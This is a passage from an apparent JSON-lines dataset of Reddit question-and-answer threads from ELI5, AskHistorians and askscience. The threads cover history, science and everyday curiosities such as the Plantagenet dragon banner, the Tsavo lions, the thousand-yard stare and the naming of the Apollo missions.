[Arabs](_URL_1_) come from.\n\nBut here's the short answer you can deduce from both articles:\n\nAn estimated time of about 10,000 to 20,000 years is enough for human populations to achieve optimal skin pigmentation in a particular geographic area.\n\nModern Arabs descended from some civilization that lived in the Levant about 3000 years ago (and these originated from a whiteish background), and as a result of being white, they chose to use better clothing instead of waiting for evolution.\n\nAlso there was \"Ancient Arabs\", they were tribes that had vanished or been destroyed, such as \u02bf\u0100ad and Thamud, and we can't know if these are white or black.\n\nI hope my answer is correct as i simplified it to the max, if you read the articles and the \"further information\" links in them, you'll eventually get to your answer", "Like others have stated it\u2019s because they didn\u2019t start out in those places, and evolution takes time to alter skin pigmentation. ", "Evolution is also less relevant in this case, now that people have access to clothing and shelter, taking away the evolutionary advantage of having darker skin."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Human_skin_color", "https://en.wikipedia.org/wiki/Arabs"], [], []]}
{"q_id": "a2pspc", "title": "In the Netflix original film \"Outlaw King\", the Prince of Wales is shown using the \"dragon banner\" to justify raping and pillaging Scottish lands with impunity. Was there such a thing as a dragon flag used by the Plantagenet kings, and what was its significance?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a2pspc/in_the_netflix_original_film_outlaw_king_the/", "answers": {"a_id": ["eb0ls62"], "score": [2520], "text": ["Despite seeming like something out of a fantasy novel, the dragon banner does have a historical basis. It was not a black flag with a red dragon on it, as depicted in *Outlaw King*, but rather was shaped like the [Roman draco](_URL_0_), a sort of windsock with an openmouthed metal head with red fabric attached to it. When turned towards the wind, the fabric would inflate and writhe. I have also found no evidence of those accompanying the banner wearing the same dragon on their tabards, as the Prince of Wales and some of his knights do in the film.\n\nThe banner was first used by the Anglo-Saxon kings simply as a royal standard. In 752 it was used by the king of Wessex in a battle against the Mercians, in 1016 against Cnut, and in 1066 at Hastings, [as seen on the Bayeux Tapestry](_URL_2_). It was only after the Conquest that it seems to have had a wider significance relating to the conduct of war. From Richard I (the first English king to revive the tradition) onwards, the banner appears to have been used exclusively against those considered to be rebels or infidels, associating it with *guerre mortelle* or Roman war, war without limits where no mercy had to be shown to enemies. The only legitimate targets of such war, according to medieval theorists, were rebels and infidels (though some, like Thomas Aquinas, considered rebels to be exempt from this). The banner was used by Richard I in 1191 against Saladin at Arsuf, Henry III in 1245 and 1257 against the Welsh (who he referred to as rebels), 1264 against the barons, Edward I against the Scots (who he claimed sovereignty over), and Edward III at against the French in 1346 (whose throne he claimed).\n\nThough some historians have been dubious that the dragon banner declared mortal war, several of medieval chroniclers certainly saw it as such. John of Oxnead (d. after 1293) described it as 'a sign of death and great retribution', Matthew Paris (d. c. 1259) said that its use by Henry III in 1257 'threatened the total extermination of Wales', and William Rishanger (d. after 1312) said it was 'a royal banner that portends a sentence of death'. The confusion may arise because the kings often intended it more as a threat than a promise. Edward III only raised the banner at Crecy after the French first unfurled the Oriflamme (which had similar connections with signifying no quarter would be given). Henry III's 1245 campaign ended with a treaty and the 1257 expedition was delayed.\n\nI wrote a [short piece about this for a Scottish newspaper just last week](_URL_1_), which has a bit more detail on the dragon's various appearances in the record.\n\nSources:\n\n*Calendar of the Close Rolls preserved in the Public Record Office*, 47 vols (London, 1892-1963), Henry III 1242-47\n\nRory Cox, \u2018A Law of War? English Protection and Destruction of Ecclesiastical Property during the Fourteenth Century\u2019, *English Historical Review*, CXXVIII, 535 (2013), pp. 1381-1417.\n\nHenry of Huntingdon, *Henry, Archdeacon of Huntingdon, Historia Anglorum, The History of the English People*, ed. and trans. Diana Greenway (Oxford, 1996).\n\nJohn of Oxnead, *Chronica Johannis de Oxenedes*, ed. Henry Ellis (London, 1859).\n\nMatthew Paris, *Chronica Majora*, ed. Henry Richards Luard, 7 vols (1872-84).\n\nWilliam Rishanger, *The Chronicle of William de Rishanger, of the Barons\u2019 Wars. The Miracles of Simon de Montfort.*, ed. James Orchard Halliwell (London, 1840)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.fectio.org.uk/articles/draco5.jpg", "https://www.thenational.scot/news/17262475.raising-the-dragon-outlaw-king-accuracy-under-the-microscope/", "https://images.theconversation.com/files/140459/original/image-20161005-14227-1e7ovyz.jpg?ixlib=rb-1.1.0&amp;rect=0%2C11%2C1491%2C997&amp;q=45&amp;auto=format&amp;w=496&amp;fit=clip"]]}
{"q_id": "ahqr1f", "title": "Why did so many Greeks end up immigrating to Bactria?", "selftext": "I've heard that it started off with Seleucid prisoners but why did more Greeks end up coming?\n\nAlso, how many Greeks ended up going to Bactria instead of the other Diadochi during it's lifespan?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ahqr1f/why_did_so_many_greeks_end_up_immigrating_to/", "answers": {"a_id": ["eehe7kb"], "score": [4], "text": ["While there are a few (very dramatic) accounts of Alexander encountering Ionians who had been re-settled in Bactria and Sogdia by the Achaemenids (like in [the story of the massacre of the Branchidae](_URL_0_)), Greek settlement in and the Hellenization of Bactria began with Alexander. The man spent a disproportionate amount of time reinforcing the corridor of northeastern Afghanistan/southern Tajikistan against Scythian and Iranian nomads, re-building Cyropolis as Alexandria Eschate and hiking as far as Samarkand to subdue Sogdian resistance; in fact, this is why it is speculated that ancient Iranian and Arab mythological traditions of a \"wall-builder\" arose, a cultural memory of various conquerors like Cyrus and Alexander erecting heavily fortified cities and garrisons in Central Asia to safeguard commerce and troop movements at that nexus of the world.\n\nBut you are correct to emphasize the role of the Seleucids -- their role in Hellenizing Bactria was crucial, because of how difficult it was to keep the region of Afghanistan under centralized rule, and how to maintain a viable Greek presence there amidst the chaos of the nomadic world. For example, many accounts describe a general revolt of 23,000 Macedonian veterans who had settled in Bactria, which was successfully quashed by the Seleucids; and for the next few generations wherein the Seleucids would rule Bactria, they would sponsor the construction, development and settlement of cities and garrisons like Ai Khanoum. The person who inscribed maxims from the Oracle of Delphi at Ai Khanoum, for example, was an Ionian who had studied at Delphi, indicating Greek civilians were migrating there during the Seleucid Era.\n\nBut the region grew wealthy as a natural result of East-West trade between the Silk Road oasis-states of western China, the Hellenistic kingdoms of the West and the Mauryan Empire of South Asia, earning the kingdom the legacy of hosting 'one thousand cities of great prosperity' (according to Roman historian Justin) and a greater penchant for independence from the fraying Seleucid Empire. It's not known exactly how many Ionian and Greek settlers settled in total during the Seleucid Era, but their armies were fairly large -- the founder of the independent Graeco-Bactrian kingdom, the rebel Euthydemus, commanded \\~10,000 horsemen at the Battle of the Arius River, though some were probably Irano-Scythian mercenaries. It's important to keep in mind that like many armies in the Hellenistic world, Bactria was a polyethnic nation, with a Greek elite and a majority Iranian/native population. The phalanxes and heavy cavalry would've been staffed by Greeks, while native Indo-Iranians/Scythians would've provided the light infantry and cavalry -- especially by the time they invaded the Indus Valley in India's northwest.\n\nThe period under Seleucid rule, however, would've been the last viable time where actual Hellenic settlers would've actually come there in non-negligible numbers. The reason we have so little primary documentation of the Bactrians (from the Western perspective) is because the kingdom was cut off from the Hellenistic West by the evaporation of the Seleucid Empire by Parthian invasion; while the Parthians were 'philhellenes', they were rivals and fierce enemies of the Greco-Bactrians, as were the incoming Scythian and Kushan peoples -- which is one of the reasons the Bactrians would shift to northwestern India, founding the Indo-Greek kingdom.\n\nSources:\n\n*Into the Land of Bones: Alexander the Great in Afghanistan* by Frank Holt\n\n*The Silk Road: A New History* by Valerie Hansen"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.jstor.org/stable/631522#metadata_info_tab_contents"]]}
{"q_id": "af3imn", "title": "what causes the \u201c1,000 yard stare?\u201d", "selftext": "It happens to me all the time and has put me in many awkward situations...", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/af3imn/eli5_what_causes_the_1000_yard_stare/", "answers": {"a_id": ["edv5ilq", "edv5l4y", "edv62zu", "edv7a44", "edvbeee", "edvhok9", "edvix0i", "edvn8h9", "edvqibo", "edvvn70", "edvzse2"], "score": [245, 12, 261, 772, 19, 215, 12, 3, 6, 2, 2], "text": ["When you \"zone out\" your eyes become unfocused so they look like they are looking very far away, ie: 1000 yards.", "It happens when you are *seriously* thinking about something or reliving a vivid memory. You're so engrossed in your thoughts that you dont realize that you are staring off into the distance.", "In boot camp they called it the \u201cMilitary Stare\u201d. Told us \u201cTry to look alll the way Home, stare like you\u2019re trying to look at your front porch at home, like you\u2019re getting ready to turn your doorknob and walk in your front door\u201d.", "On a serious note, the thousand yard stare is essentially the lack of minor eye movements due to intense concentration or shock. We are subconsciously used to seeing minor eye movements so when they are absent, our mind alerts us that something is wrong.", "ELI5: The same neural pathways that control complex muscle-memory functions, also control facial muscle movements. You can have one, but not the other.\n\nNote: Far from an expert on this, and I'm not sure a five year old would understand the above sentence, but there was a chapter in a book I read several years ago about Joe Montana and his premotor cortex. It basically argued that most NFL quarterbacks have that same \"vacant\" stare because they can *also* put a football seventy yards down the field at a specific point with two seconds notice, thanks entirely to repetitive training. \n\nIt was in a book called The Mind's Sky by Timothy Ferris. Not sure if the book would hold up after this many years, but it seemed like a sound explanation at the time.\n\n & #x200B;\n\n & #x200B;", "Thats such a nice feeling tbh. When your gaze focuses on absolutely nothing and everything goes blurry, you can feel your pupils dilate, and the surrounding sound turns into basically ASMR. \n\nI have to fight HARD to keep from doing this in the car. ", "When I thousand yard stare it is usually not paying much attention to what I\u2019m looking at. I\u2019m either focusing on some other sense or *way* more in my head than I need to be. I\u2019ve always felt like it was a sort of resting state for your eyes. ", "I've always thought it was the brain relying on the reactive area of your perception, the edges of your vision that responds mostly  to movement. Trauma often requires you to react so I always imagined the brain is trying to catch anything moving quickly at it. Also I heard some things about \"sentry's stair\" out of WW1/2.\n\n & #x200B;", "Thousand yard stare means you\u2019re in an instinctive, reactive state.  You\u2019re in a primal place where killing can be done without your brain talking you out of it. It\u2019s exactly what any combat trainer will try to hammer into you before you see combat, and what doctors will spend the rest of your life trying to hammer out of you post combat.", "When you look at something, your eyes are never completely parallel.  They always both look at a specific point so they are always both slightly facing toward each other.\n\nWhen you are lost in thought and/or moving on autopilot and not looking at anything in particular, your eyes default to looking parallel straight ahead.  The muscles in the eye are like rubber bands, and you have to pull on them to look around. When you let go, they snap back to neutral.\n\nOur brains are programmed to pay super close attention to faces, so we unconsciously notice the difference when eyes are parallel vs when they are both pointed at something, and it bothers us.", "I enter this alot I am told.  I just stop thinking but I'm awake.  Sometimes I can feel my concentration fighting to focus on stuff around me.  It mainly happens after I go to a buissy place.\n\n(I was blown up once so that might be why) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "4n5ttu", "title": "why do humans have a tendency to go 'mad with power'?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4n5ttu/eli5_why_do_humans_have_a_tendency_to_go_mad_with/", "answers": {"a_id": ["d41484g", "d4148b2"], "score": [5, 3], "text": ["Both people getting power \"going crazy\" or people who get power suddenly desire [even more power](_URL_0_) both stem from an understanding of the presence of greed in the human psyche.\n\nIt's common to think that greed only exists around getting material wealth or money. But you can be greedy about anything, even the ability to control others, or having relationships.\n\nPeople sometimes go crazy either when they realize that nothing in the world can really satisfy their desires, or when their desires drive them to dangerous or unhealthy extremes.", "Some powerful people abuse their power, others such as George Washington or Marquis Lafayette have gained power and been offered even more power and turned it down. \n\nIts not truly that power in of itself corrupts, it's instead that once you are powerful you can live as you truly think and truly feel. Inhibitions and social norms become much less important when you're King. People tend to give into vice or commit evil not because they are powerful but because with power comes the ability to do things without repercussions. \n\nIt takes someone with powerful internal honor and a strict code of conduct to overcome the danger of power without limits. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://media.giphy.com/media/hokMyu1PAKfJK/giphy.gif"], []]}
{"q_id": "39uqdw", "title": "How accurate are the accounts of the Maneaters of Tsavo?", "selftext": "I recently stumbled upon and read J.H Patterson's accounts of the man-eaters and am not convinced. It seems insanely unlikely, for instance, that the lion could enter a trap and be allowed to escape only by the wildly inaccurate shots that of the Indians who were posted as bait that severed some bars on the other side of the trap.\n\nIt's obviously a fascinating story, but is it corroborated by other sources? Were there really two cunning and murderous lions that held up the construction of the Uganda railroad or something else?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/39uqdw/how_accurate_are_the_accounts_of_the_maneaters_of/", "answers": {"a_id": ["cs6u3ux"], "score": [3], "text": ["Some parts of the story may be exaggerated or uncertain. For example, [a couple of researchers at the Field Museum in Chicago](_URL_0_) did a study of contemporary sources and say that the number of dead may be exaggerated. Patterson himself made conflicting claims on that, from 14 to 135. The Field Museum researchers think it may have been 28.\n\nThat doesn't mean Patterson necessarily lied. Part of the problem was accurate record keeping. They kept good counts of the dead Indians, but there were no accurate counts of the number of dead Africans. And it's hard to establish whether kills in neighboring villages were made by the same lions or different lions. As they point out, man-eating lions were a constant presence in that area, having killed people long before the Tsavo lions appeared, and continued killing people until WWI, long after the Tsavo lions were dead. The Tsavo man-eaters weren't the only man-eaters around.\n\nHowever, even the high numbers like 135 are not crazy high for man-eaters, though they may be inaccurate for the Tsavo lions. The Champawat tiger in India/Nepal killed over 400 people, and its kills are well-documented in newspapers and public records of the time. The Rudraprayag leopard in India killed over 125 people.\n\nSpecific details of what Patterson did can't always be independently corroborated outside his own writings. The story of the trap you mentions is among them. But I wouldn't pass it off as incredibly unlikely.\n\nFirst, the details of the trap are very sketchy in Patterson's account. He mentions fashioning it out of railway sleepers (the wooden slabs on which rails are laid), rails and chain. We see someone's imaginary view of what it might have looked like in the Val Kilmer movie, where it looks pretty solid and sophisticated. But nothing Patterson actually says describes it in that much detail, and if you look at what he does say (such as shooting holes in rails with his rifle because he had no drill), it appears that it was **very** crudely made, and may not have afforded as much protection to the men as you might think. Then there is weird stuff like putting the lights (the lanterns) on the human side of the trap rather than the lion side. If you want to shoot something, you should arrange lights to illuminate the target rather than arranging them to blind yourself in the dark.\n\nSo it's not surprising to me that a couple of guys sitting alone in the night behind a precarious barrier might shoot poorly at a known man-killer on the other side. How much light was there to shoot by, how many lanterns? Were these good lanterns or smoke dulled crappy lanterns? Were the two guys even trained to shoot? A lot of \"sepoys\" were people who'd never handled a gun, or were given token training on some ancient blunderbuss. Did they take such people and give them a couple modern rifles just for this occasion? So many details are missing.\n\nEven the best of shooters may be confused in the semi-dark with a man eater raging behind a \"wall\" of hanging railway sleepers and odd bits of chain. The story does say they found some blood on the other side, so they didn't miss the lion entirely, they wounded it.\n\nI don't think we can dismiss the story over the trap account. He may be wrong about the number of people killed by the tigers, but that's a matter of guesswork on everyone's part, he had no way of knowing exact numbers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.eurekalert.org/pub_releases/2003-01/fm-fmu011303.php"]]}
{"q_id": "443a9y", "title": "if i put a mirror on the earth the size of, say, australia, would it visibly reflect blue sky or darkness when viewed from space?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/443a9y/eli5_if_i_put_a_mirror_on_the_earth_the_size_of/", "answers": {"a_id": ["czn361r", "czn3sw7", "czn4hdv"], "score": [14, 2, 3], "text": ["Not an expert, but I would say blue.  The oceans reflect this color back, so a mirror would probably do,the same.", "wouldn't you get a light beam back somewhere in the path?", "When light passes through the atmosphere it basically gets shifted blue. You'd see space from up above but any light would be bluer than if you were to look straight out to space"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2j9nfy", "title": "what were the reasons for the chaos at the serbia - albania game?", "selftext": "What did the flag say?\nWhat are the Serbians protesting?\nDo the players care?\nWho are the bad guys / good guys?\nWhat is Kosovo; Serbian, independent, Albanian?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2j9nfy/eli5_what_were_the_reasons_for_the_chaos_at_the/", "answers": {"a_id": ["cl9o38n", "cl9o6tt"], "score": [2, 2], "text": ["Life long hatered between the two nations.\n\n UEFA still allows them in the same group. \n\nMatch begins and is, as expected, really tense. \n\nSomeone flies a drone with the [Great Albania](_URL_0_) flag over the stadium.\n\n The stadium is pissed. \n\nA Serbian player grabs the flag. \n\nAlbanian players react. \n\nSerbian fans enter the field and attack the Albanian players.\n\nMatch suspended.", "The question of Kosovo is very complicated. Short story is, that Kosovo is old Serbian ''holy'' land, very important form historical angle, the great battle with Ottoman empire 1389, and something like that. \nThe problem is that Albanians (Muslims) started populating Kosovo in period between WWI and WWII, Serbians (Christians) started emigrating north. After Yugoslavia fell apart, Albanians saw opportunity to gain independence, on the grounds that at that moment due to high birth rate they had majority population. A bloody war broke out and it was ended by NATO bombing of Serbia in 1999. Kosovo declared independence in 2008.\n\nThat's pretty painful for Serbs, while they consider it holy christian land, where the state was born in 11th or 12th century.\n\nThe flag was provocation with some Albanian nationalists from beginning of 20th century, and map of ''huge Albania'' that is country in which they think they should live, that takes parts from today's, Serbia, Macedonia and Greece.\n\nWhen Serbian player took down the flag Albanian players attacked him, but Serbs poorly secured the pitch so fans ran on to it and they are to blame as well.\n\nLater in the evening, brother of Albanian prime minister  was arrested on suspicion of causing this provocations. He was in VIP box with remote control of drone that carried the flag. All Albanian fans were banned from stadium by FIFA, but he somehow got in.\n\nEDIT: Grammar and last part"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Greater_Albania"], []]}
{"q_id": "x8osa", "title": "Could you store water in a smaller space by splitting it into H and O and compressing the gases?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/x8osa/could_you_store_water_in_a_smaller_space_by/", "answers": {"a_id": ["c5k61y1"], "score": [2], "text": ["No. \n\nFor starters it would be H2 and O2. \n\nSecondly gas takes up more space than liquids. \n\nNext is the fact that 3 mols of gas will take up more room than 2 mol and 2H2(g) + O2(g) - >  2H2O(g). \n\nFinally, H2O is densest at 4^o C."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "87d2im", "title": "if elements on the periodic table of elements are all made of the same basic building blocks (protons, neutrons and electrons). why is each element so different from each other?", "selftext": "If I were to think of it like Lego, adding more of the same blocks is going to give me a bigger piece of Lego, not something entirely different. But for elements, adding 1 more of each building block changes everything from the state of matter, reaction, colour, smell.\n\nHow is each element so different even though each one is just one more proton, neutron and electron?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/87d2im/eli5_if_elements_on_the_periodic_table_of/", "answers": {"a_id": ["dwby3xo", "dwc0huj", "dwca4i4", "dwccev8", "dwd3jh6"], "score": [9, 5, 2, 6, 2], "text": ["Depending on the number of protons in the nucleus, the electrons are attracted to them in different ways, defining what quantum mechanics refer to as atomic orbitals. This affects how much the electrons will be attracted to the protons of other atoms. Likewise, if an atom is missing an electron, it is more likely to try to take one from another atom. Or if it has an extra electron, it's more likely to share. This taking, giving, and sharing of electrons defines how various elements can or cannot form bonds with other atoms and thus form molecules. It defines how strong or weak those bonds are. And it defines how electrons react when hit with energy, emitting stuff like color in response.", "Think of it like car engines and sewing machines: both have spinning parts and gears and levers and whatever, both are made mostly from metal with some plastic bits here and there, but both are completely different in essentially every meaningful way.\n\nIt's similar at the atomic level: the \"shapes\" and \"arrangement\" of the subatomic particles is different, and that's all it takes. Adding more subatomic particles to an atom affects how easily it binds with other atoms (and what kinds it can bind with) to make more complex shapes, how strong the bonds are, etc, etc.", "The chemical properties of elements is dictated by the electron configuration and the electron configuration depends mostly upon the amount of protons in the core. The amount of neutrons in the core  doesn't increase linearly with the atomic number like protons do though. For example there are three (stable) types of Hydrogen atoms, so called isotopes. The first one, the most common isotope, has no neutrons and is known as protium as it only have a proton. The second one has one neutron and is known as deuterium and the third isotope has two neutrons and is known as tritium.  \nHelium has two (stable) isotopes, 3-He and 4-He, where 4-He is the mose common one with two neutrons in its core, while the less common 3-He only have one neutron.  \nAlso, ions are still the same element as atoms that have the same core, even though they have \"too many\" or \"too few\" electrons. What really matters is the number of protons.", "It has to do with the orbitals of electrons in both atoms and molecules.  People get shown the \"planetary\" system of orbitals early, but that oversimplification confuses more than it helps, in my opinion. Almost all the properties you talk about are actually a result of the electrons, where they are located in the atom, and their electromagnetic fields.\n\nIf you look at the Spherical Harmonics solutions to the Schrodinger Wave equation, you see that the orbital shape changes dramatically as you add electrons.  Here's a picture with the S orbitals on top, then the P, then D, then F Orbitals on the bottom.  \n\n_URL_0_\n\nSo, as you add electrons, you have kind of a \"different shaped\" atomic \"Legos\", since what other atoms \"feel\" is the shape and distribution of electron orbitals summed together.\n", "[There's also a huge variety between elements of similar groups](_URL_0_) because of slight electron differences. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Spherical_harmonics#/media/File:Spherical_Harmonics.png"], ["https://www.alansfactoryoutlet.com/the-hardness-of-metals-a-visual-representation-of-mohs-scale"]]}
{"q_id": "emp6mu", "title": "is the way yoda speaks grammatically correct?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/emp6mu/eli5_is_the_way_yoda_speaks_grammatically_correct/", "answers": {"a_id": ["fdq32lw"], "score": [30], "text": ["Yoda's syntax follows a distinctly different pattern. For the most part, his sentences follow the object-subject-verb pattern. This pattern is only found in 0.3% of the world's languages. ... Therefore, the answer to the question is: yes, Yoda's speech pattern is grammatically correct; strange to our ears, it just sounds."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8pcgc7", "title": "how come the ocean isn\u2019t making the ocean floor compact? like, the pressure at the ocean floor is absurd, the weight of the ~4km of water is a lot and yet we see the sand loose.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8pcgc7/eli5_how_come_the_ocean_isnt_making_the_ocean/", "answers": {"a_id": ["e0a4l9c", "e0a6iv7", "e0aaipx"], "score": [20, 10, 49], "text": ["It's the same reason we don't see the atmosphere making the surface of the earth compact.\n\nIn reality, it's very compact, but the things that exist at that pressure exist *in* that pressure, so as long as they have the structural integrity not to collapse under it, the pressure, coming from all sides, won't affect things that much.", "Pressure is great at compressing things that can be compressed - so something filled with air.  But a grain of sand is not filled with air. It's a tiny rock. And the water pushing on all sides of that rock...doesn't do anything to compress the tiny rock. And the water pushing on two tiny rock pieces is nowhere near enough to cause the rocks to fuse together (that kind of pressure happens miles below the surface of the earth, under much higher heat as well). \n\nSo the pressure is a lot to something with air in it, but not something that is already very dense (more dense than the water, in fact). ", "The pressure exerted on the sand at the bottom is experienced in all direction. They are separated because they have different densities.\n\nImagine you have a plate on the floor of a pool. Apart from just it's inertia and the viscosity of the water you could easily pick it up.\n\nLarge pressure differences on either side of the object are what causes noticeable forces. \n\nNow imagine the same circumstance except this time there is a drain at the bottom leading to open air and the plate is covering it. The force from the weight of the water is much greater than the force from the weight of the air so it's pressed into the floor and difficult to move. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3ehdqk", "title": "how do cops give tickets to pedestrians and people without an id?", "selftext": "If you get pulled over in your car, you're required to have an ID, but if you're jaywalking or otherwise get \"pulled over\" as a pedestrian or bicyclist, how does the cop know who to write the ticket to? What's stopping someone from giving a fake name and address? I'm in the United States, and I'd appreciate an answer for this country, but it's not required.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3ehdqk/eli5_how_do_cops_give_tickets_to_pedestrians_and/", "answers": {"a_id": ["cteyq6k", "cteyyu2", "ctezebq"], "score": [16, 4, 2], "text": ["Giving a fake name to an officer is also a crime. Often a greater crime then what the person was initially stopped for. \n\nIf you don't have an ID, they ask you for a name, date of birth, social security, address. They compare that to what the police have on record, from your driver's license, SSN, etc. If none of it matches up to your physical description, they can take you to jail until your identity is established.", "Good question.  This will vary from place to place depending on a lot of factors but I can give a general answer.\n\nIf you can't provide proof of your ID, the officer can ask your name and/or address and query the appropriate law enforcement database.  Most times there will be a record which has that information, as well as other information such as race, height, weight, aliases, etc. that the officer can use to verify your identity.  They may even be able to pull up a photo.  If the officer is satisfied that he has the right person, he can issue the citation.  \n\nIf he is unable to verify your identity, he can likely arrest you.  Many states have laws that allow an officer to make an arrest if identification is an issue or if he has reason to believe the person will not respond to summons, even if the offense is not an arrestable offense otherwise.  \n\nSide note, giving a fake name and address would constitute an additional and more serious offense.  ", "I've actually seen this happen. I arrested a girl for shoplifting, and she gave everyone (including the cop) a fake name, fake info, etc. Said she had no ID. He pulled out this little box, scanned her finger prints, and pulled up all her information. Busted!\n\nObviously this only works if somebody is already in the system though. Otherwise, if someone commits a crime and there is no way to obtain their information, and the person refuses to identify themselves, the cop will take them to jail. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "32vq1i", "title": "Why were the NASA missions to the Moon called the Apollo missions when, in Greek mythology, Artemis is the goddess of the moon?", "selftext": "Just curious!  Thanks for your time.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/32vq1i/why_were_the_nasa_missions_to_the_moon_called_the/", "answers": {"a_id": ["cqfai5u", "cqfaj6u"], "score": [11, 31], "text": ["Apollo was part of NASA's manned spaceflight program. Mission names (Apollo, Gemini, Mercury) were about manned spaceflight in general, and not chosen because of the destination of a particular mission.\n\n > Abe Silverstein, Director of Space Flight Development, proposed the name \"Apollo\" because it was the name of a god in ancient Greek mythology with attractive connotations and the precedent for naming manned spaceflight projects for mythological gods and heroes had been set with Mercury. Apollo was god of archery, prophecy, poetry, and music, and most significantly he was god of the sun. **In his horse-drawn golden chariot, Apollo pulled the sun in its course across the sky each day**.\n\nEmphasis mine, you can see why this name would fit putting astronauts in a rocket (chariot) and have them travel a very long distance, such as the moon.\n\nFor example, the name Gemini was agreed upon, amongst other reasons, because it means twins in Latin, and the Gemini spacecraft had a two man crew.\n\nYou can read about the missions and chosen names in more detail at [_URL_1_ SP 4402](_URL_0_)", "There doesn't seem to be a very deep mythological reason for this. The \"Apollo\" name was decided in 1960 by a committee at the Lewis Research Center (now known as the *Glenn Research Center at Lewis Field*), where the largest parts of whole program were planned, including the development of the liquid hydrogen propulsion system.  \nSpecifically the name was conceived by the director of the center, Dr. Abe Silverstein, in early 1960, because he thought the image of \"Apollo riding his chariot across the Sun was appropriate to the grand scale of the proposed program.\"\n\nShortly before his death in 2001, when he was asked for the reason why he chose Apollo as the name in an interview with the New York Times he replied with \"'No specific reason for it, [...] It was just an attractive name.'\"\n\nSource:   \nApollo 11 Press Release, 13. July 1969  \n_URL_0_ \n\n\"Abe Silverstein, 92, Engineer Who Named Apollo Program\", Wolfgang Saxon, New York Times, Published: June 5, 2001  \n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://history.nasa.gov/SP-4402/ch4.htm", "history.nasa.gov"], ["http://www.nasa.gov/centers/glenn/about/history/apollo_press_release.html", "http://www.nytimes.com/2001/06/05/us/abe-silverstein-92-engineer-who-named-apollo-program.html?pagewanted=1"]]}
{"q_id": "1e4wh3", "title": "Which civilisations had the most remarkable judicial systems?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1e4wh3/which_civilisations_had_the_most_remarkable/", "answers": {"a_id": ["c9wtrfr"], "score": [2], "text": ["In terms of extremity of punishments and the number of crimes that were associated with them, the ancient Chinese system of [Five Punishments]( _URL_0_) was notable for its barbarianism."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.m.wikipedia.org/wiki/Five_Punishments"]]}
{"q_id": "e6q9vt", "title": "why do paperclips get hot when you rotate them about themselves with one end fixed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e6q9vt/eli5_why_do_paperclips_get_hot_when_you_rotate/", "answers": {"a_id": ["f9sfdmz"], "score": [5], "text": ["It takes force to bend them, which means work has been done, and that work has go somewhere."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ll4p9", "title": "how is it that when you fill something with water from the hose air goes in with it?", "selftext": "I can't really describe it so I will mention what I was doing. I was filling an airtight container and the hole was the size of the garden hose opening. I put the hose in the hole but I felt pressure and pulled out the hose a air came out as if I was pumping this container full of air.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ll4p9/eli5_how_is_it_that_when_you_fill_something_with/", "answers": {"a_id": ["cv74sec"], "score": [3], "text": ["There was air already inside it. When you put water in, the air has to come out and the opening was the only place it could escape.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
